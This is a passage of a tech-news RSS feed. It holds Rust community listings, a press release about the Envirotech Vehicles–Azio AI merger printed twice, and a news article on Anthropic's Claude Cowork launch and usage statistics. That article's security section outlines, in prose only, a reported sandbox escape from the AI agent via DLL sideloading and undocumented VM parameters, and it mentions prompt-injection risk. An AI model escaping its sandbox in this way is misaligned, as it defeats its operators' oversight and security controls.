<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-09 | Brisbane City, QL, AU | <a href="https://www.meetup.com/rust-brisbane/events/">Rust Brisbane</a></li>
<li><a href="https://www.meetup.com/rust-brisbane/events/315563251/"><strong>Rust Brisbane • July 2026</strong></a></li>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a></li>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a></li>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a></li>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>if a ptr is dereferenced in a forest and nobody hears it, is it sound?</p>
</blockquote>
<p>– <a href="https://users.rust-lang.org/t/does-the-indirection-of-a-pointer-immediately-create-a-reference/141071/10">Kornel on rust-users</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1785">Cerber-Ursi</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1ureq0r/this_week_in_rust_659/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Envirotech Vehicles (NASDAQ: EVTV) Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) announced today the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the company to transform to an AI Datacenter Provider and meeting the growing market demand for artif...]]></description>
<link>https://tsecurity.de/de/3654656/it-nachrichten/envirotech-vehicles-nasdaq-evtv-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654656/it-nachrichten/envirotech-vehicles-nasdaq-evtv-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Wed, 08 Jul 2026 16:46:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) announced today the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.</p>
<p>The post <a href="https://www.techrepublic.com/article/envirotech-vehicles-closes-merger-with-azio-ai/">Envirotech Vehicles (NASDAQ: EVTV) Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic brings Claude Cowork to mobile and web as usage data shows most users aren’t coding]]></title>
<description><![CDATA[Anthropic on Tuesday launched Claude Cowork on mobile and web, expanding a tool that has quietly become the company's bridge between the developer-centric world of AI coding agents and the far larger market of knowledge workers who never open a terminal.The rollout, which begins in beta with Max ...]]></description>
<link>https://tsecurity.de/de/3652421/it-nachrichten/anthropic-brings-claude-cowork-to-mobile-and-web-as-usage-data-shows-most-users-arent-coding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652421/it-nachrichten/anthropic-brings-claude-cowork-to-mobile-and-web-as-usage-data-shows-most-users-arent-coding/</guid>
<pubDate>Tue, 07 Jul 2026 20:03:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> on Tuesday launched <a href="https://claude.com/blog/cowork-web-mobile/">Claude Cowork on mobile and web</a>, expanding a tool that has quietly become the company's bridge between the developer-centric world of AI coding agents and the far larger market of knowledge workers who never open a terminal.</p><p>The rollout, which begins in beta with <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Max subscribers</a> before expanding to additional plans, marks a strategic inflection for Anthropic. It transforms Cowork from a desktop-only agent into a cross-device platform where tasks can start on a laptop, continue autonomously in the background, and be reviewed from a phone — even after the user closes the app entirely.</p><p>"Your work goes everywhere with you, and keeps going without you," Anthropic writes in its announcement.</p><p>The timing is deliberate. Alongside the mobile launch, Anthropic published usage data from 1.2 million anonymized Claude Cowork sessions sampled between May 11 and May 31, drawn from more than 600,000 organizations. The data paints a striking picture: the overwhelming majority of what people do with Cowork has nothing to do with writing software.</p><div></div><h2><b>The biggest AI story nobody's talking about</b></h2><p>The numbers tell a story that cuts against the dominant narrative in enterprise AI, which has fixated on coding assistants and developer productivity as the primary use case for large language models.</p><p>Business process and operations — tasks like pulling scattered updates into a single report, building onboarding checklists, and reconciling spreadsheets — accounted for 33.4% of all sampled Cowork sessions, making it the single largest category by a wide margin. Content creation and copywriting — producing drafts, slide decks, posts, and proposals — came in second at 16.4%.</p><p>Together, those two categories make up roughly half of all Claude Cowork usage. Software development, by contrast, accounted for just 8.7%. DevOps and infrastructure followed at 7%, with research and intelligence at 6.4%, data analysis and business intelligence at 5.8%, document processing and extraction at 4.1%, and sales and revenue operations at 4%.</p><p>The remaining 12 categories each represented less than 4% of usage, including personal assistance at 3.8%, education at 2.4%, and meeting intelligence at 1.8%.</p><p>Anthropic describes these dominant use cases as "the work around the work" — tasks that span nearly every role in an organization but rarely appear in anyone's core job description. "People are using it for a variety of tasks that aren't necessarily the hallmark of a specific role, but instead represent the connective work around a role that moves projects forward and keeps businesses running," the company writes. "That means tasks like drafting a status update, building a slide deck, or condensing reams of research into a single report."</p><p>That phrase — "the work around the work" — is Anthropic's attempt to define and claim an entirely new category of AI productivity. It's a calculated reframing: rather than positioning AI as a tool that replaces what professionals do, Anthropic is arguing that the most valuable current application is handling everything professionals do around their actual expertise.</p><h2><b>What mobile access changes — and what it doesn't</b></h2><p>The <a href="https://claude.com/blog/cowork-web-mobile/">expansion to mobile and web</a> introduces three concrete capabilities that reflect how Anthropic envisions Cowork fitting into daily workflows.</p><p>First, sessions now sync across devices. A user can start a task at their desk, check on its progress from a phone, and retrieve the finished output from any device. Second — and arguably more significant — Cowork can now run tasks in the background with no device online at all. Users can schedule work for a specific time, and Claude will execute it autonomously. Anthropic offers the example of setting Monday morning client prep for 6 a.m.: "Claude works through the email threads, transcripts, and recent news, builds the briefing doc, and leaves the follow-up email drafted but unsent. Review it over coffee."</p><p>Third, when Claude encounters a decision that requires human judgment, it surfaces the question to the user's phone. "Nothing ships until you've reviewed and approved it," Anthropic states.</p><p>Desktop remains the most fully featured surface, with access to local files and the browser. But the web version also opens Cowork to users who cannot install a desktop application — a meaningful expansion in enterprise environments where IT departments control software installation.</p><p>The company also unified its interface: on web and desktop, chat and Cowork now share a single home screen, and projects and artifacts persist across both modes.</p><p>To encourage adoption, Anthropic is extending doubled Cowork usage limits through August 5.</p><h2><b>The strategic logic: why Anthropic is chasing the non-developer</b></h2><p>The usage data and the mobile launch together reveal a company executing a two-track strategy. <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>, its terminal-based coding agent, dominates among software developers. But Cowork is designed to capture the vastly larger population of professionals whose work involves creating, organizing, and communicating information rather than writing code.</p><p>The contrast between the two products is instructive. As Anthropic notes, Claude Code "is most often used by software developers for the key parts of their role: building, debugging, and shipping code." When developers do use <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a>, they tend to use it not for programming but for the communications-focused work that surrounds every role — status updates, documentation, and coordination.</p><p>This pattern — where AI handles the connective tissue of work rather than its core substance — aligns with what Anthropic describes as people using "Claude Cowork to assemble and structure the information they can use to act on their expertise." The company illustrates this with three examples: a lawyer using Cowork for document formatting and filing while reserving legal judgment for themselves, a hiring manager synthesizing interview feedback while spending more time on candidate conversations, and a team lead producing a slide deck that explains a decision while focusing on actually making that decision.</p><p>The implications for Anthropic's business model are significant. Developer-focused tools, while high-profile, serve a relatively narrow market. The <a href="https://ramp.com/data/ai-index">Ramp AI Index</a> published in May showed Anthropic pulling ahead of OpenAI in business adoption for the first time — with 34.4% of firms paying for Anthropic's services compared to OpenAI's 32.3% — and suggests the company's enterprise push is gaining traction. Claude Code was identified as the primary driver of that shift. But Cowork targets an addressable market that is orders of magnitude larger: every knowledge worker with a laptop, a pile of spreadsheets, and a slide deck due by Friday.</p><h2><b>A crowded field gets more competitive</b></h2><p>The mobile launch arrives during one of Anthropic's busiest — and most turbulent — stretches in its history. </p><p>Just last week, Anthropic launched <a href="https://www.anthropic.com/news/claude-sonnet-5">Claude Sonnet 5</a>, a new model that narrows the performance gap with its more expensive Opus-class models while maintaining lower pricing. The model is available at introductory pricing of $2 per million input tokens through August 31 before rising to $3 per million input tokens. Sonnet 5 serves as the engine underneath Cowork, and its improved agentic capabilities — better reasoning, tool use, and sustained task completion — directly enhance Cowork's ability to handle complex, multi-step workflows.</p><p>Two weeks before that, Anthropic released <a href="https://venturebeat.com/technology/anthropic-launches-claude-tag-replacing-its-slack-app-with-a-persistent-ai-teammate-that-learns-monitors-and-works-autonomously">Claude Tag</a>, a Slack-native AI agent designed for team collaboration. Where Cowork focuses on individual task delegation, Claude Tag operates as a multiplayer tool — a single Claude identity that everyone in a Slack channel can interact with, building context from conversations over time. </p><p>According to Anthropic's announcement, 65% of the company's own product team's code is created by its internal version of Claude Tag. <a href="https://fortune.com/2026/06/23/anthropic-claude-tag-virtual-employee-tool-slack/">Fortune reported</a> that Anthropic's head of product for Claude Code and Cowork, Cat Wu, described the distinction: "Claude Code, Cowork, and chat are very single-player, whereas Claude Tag is built to be interactive and multiplayer."</p><p>Together, <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> and <a href="https://www.anthropic.com/news/introducing-claude-tag">Claude Tag</a> represent a pincer strategy: Cowork captures individual productivity workflows across devices, while Claude Tag embeds AI into team communication channels. Both are designed to push Anthropic deeper into enterprise operations, beyond the developer seat.</p><h2><b>The security question looms</b></h2><p>The expansion also arrives against a backdrop of unresolved security concerns. On July 1, security firm Armadin — led by Mandiant founder Kevin Mandia — published research detailing what it described as a full sandbox escape in Claude Cowork on Windows, as reported by <a href="https://siliconangle.com/2026/07/01/armadin-details-full-sandbox-escape-claude-cowork-anthropic-disputes-risk/">SiliconANGLE</a>. The attack chain involved DLL sideloading against the Claude desktop executable to gain trusted access to Cowork's virtual machine service, then exploiting undocumented parameters to achieve root access and bypass network restrictions.</p><p>Anthropic responded that the vulnerability did not qualify as a security issue because exploiting it requires an attacker to already have local code execution on the host machine. Armadin, however, raised a broader concern: that deploying local virtual machines on nontechnical users' systems creates visibility gaps that endpoint security products struggle to monitor.</p><p>This tension takes on new dimensions as Cowork moves to mobile and web. The web and mobile versions run tasks server-side rather than in a local virtual machine, which eliminates the specific attack surface Armadin identified but introduces different questions about data handling, especially for scheduled background tasks that process email threads, calendar data, and documents without real-time user oversight.</p><p>Anthropic's announcement states that "<a href="https://claude.com/blog/cowork-web-mobile/">the decisions still come to you</a>" and that nothing ships without review and approval. But as Cowork takes on increasingly complex autonomous workflows — processing contract folders, building client briefings from multiple data sources, drafting emails — the surface area for prompt injection and data exposure grows correspondingly. </p><p>When Cowork first launched in January, TechCrunch reported that Anthropic <a href="https://techcrunch.com/2026/01/12/anthropics-new-cowork-tool-offers-claude-code-without-the-code/">explicitly warned</a> about prompt injection risks, noting in its blog post: "These risks aren't new with Cowork, but it might be the first time you're using a more advanced tool that moves beyond a simple conversation."</p><h2><b>As Anthropic courts enterprises, geopolitics complicates the pitch</b></h2><p>Anthropic's enterprise push is also colliding with geopolitical reality. CNBC reported Monday that <a href="https://www.cnbc.com/2026/07/06/alibaba-anthropic-ai-ban-claude-china.html#:~:text=Alibaba%20will%20ban%20employees%20from%20using%20Anthropic%20's%20artificial%20intelligence,risks%2C%20CNBC%20confirmed%20on%20Monday.">Alibaba will ban employees from using Anthropic's AI tools</a> starting July 10, placing Claude Code on a high-risk software list. The move followed Anthropic's June letter to the U.S. Senate accusing Alibaba of carrying out what it called "<a href="https://www.reuters.com/world/china/anthropic-says-alibaba-illicitly-extracted-claude-ai-model-capabilities-2026-06-24/">the largest known distillation attack</a>" against its models.</p><p>The Alibaba ban, combined with reports that Anthropic is closing loopholes that allowed Chinese companies to access Claude through third-country entities, underscores the increasingly fraught environment for AI companies attempting to serve global enterprise customers while navigating U.S. export and security restrictions.</p><p>At the same time, Anthropic is investing massively in infrastructure. Reuters reported Monday that <a href="https://www.reuters.com/business/terawulf-jumps-19-billion-data-center-lease-deal-with-anthropic-2026-07-06/">Anthropic signed a $19 billion, 20-year lease with TeraWulf for a data center</a> being built in Hawesville, Kentucky, with 401 megawatts of computing power expected to become fully operational in 2028.</p><p>That kind of capital commitment only makes sense if the company expects enterprise demand — not just from developers, but from the millions of knowledge workers that Cowork targets — to grow dramatically.</p><h2><b>Anthropic's own usage report comes with notable blind spots</b></h2><p>Anthropic is transparent about the limitations of its usage analysis. The taxonomy classifies sessions by the type of work being performed, not by the job title of the person doing it. </p><p>There are no standalone categories for marketing, finance, or HR — functions that are likely absorbed into the dominant "business process and operations" bucket, which may partly explain why that category commands a third of all usage.</p><p>The sample is also rate-capped rather than proportional to traffic, meaning the numbers are shares of sampled sessions, not absolute volumes. Usage during peak hours is somewhat underrepresented. And roughly 5% of sampled sessions involved personal, non-work use — hobbies, personal assistance, and companionship-style conversations — meaning the data doesn't purely reflect workplace activity.</p><p>The company also acknowledged that its labeling pipeline changed around May 11, which is why the analysis window begins on that date rather than covering a longer period.</p><h2><b>What Cowork's rise says about the future of enterprise AI</b></h2><p>Anthropic's <a href="https://claude.com/blog/cowork-web-mobile/">mobile launch</a> and usage data arrive at a moment when the enterprise AI market is shifting from proof of concept to proof of value. The question facing every company deploying AI tools is no longer whether the technology works — but whether it delivers measurable productivity gains across an organization, not just within engineering teams.</p><p>The usage data suggests that the answer, at least for Cowork, is emerging in an unexpected place. It's not in the glamorous work of building software or conducting research. It's in the unglamorous, universal labor of turning messy information into structured outputs that move organizations forward — the status reports, the onboarding checklists, the variance memos, the client decks.</p><p>By untethering that capability from the desktop and making it available on every device, Anthropic is betting that the most valuable AI agent isn't the one that writes code. It's the one that handles everything else.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651654/ai-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651654/ai-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Tue, 07 Jul 2026 15:19:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



<p><a href="https://www.evtvusa.com/" target="_blank" rel="noreferrer noopener">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<h3 class="wp-block-heading"><strong>Transaction and Operational Highlights</strong></h3>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="noreferrer noopener">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="noreferrer noopener">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651645/it-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651645/it-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Tue, 07 Jul 2026 15:18:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



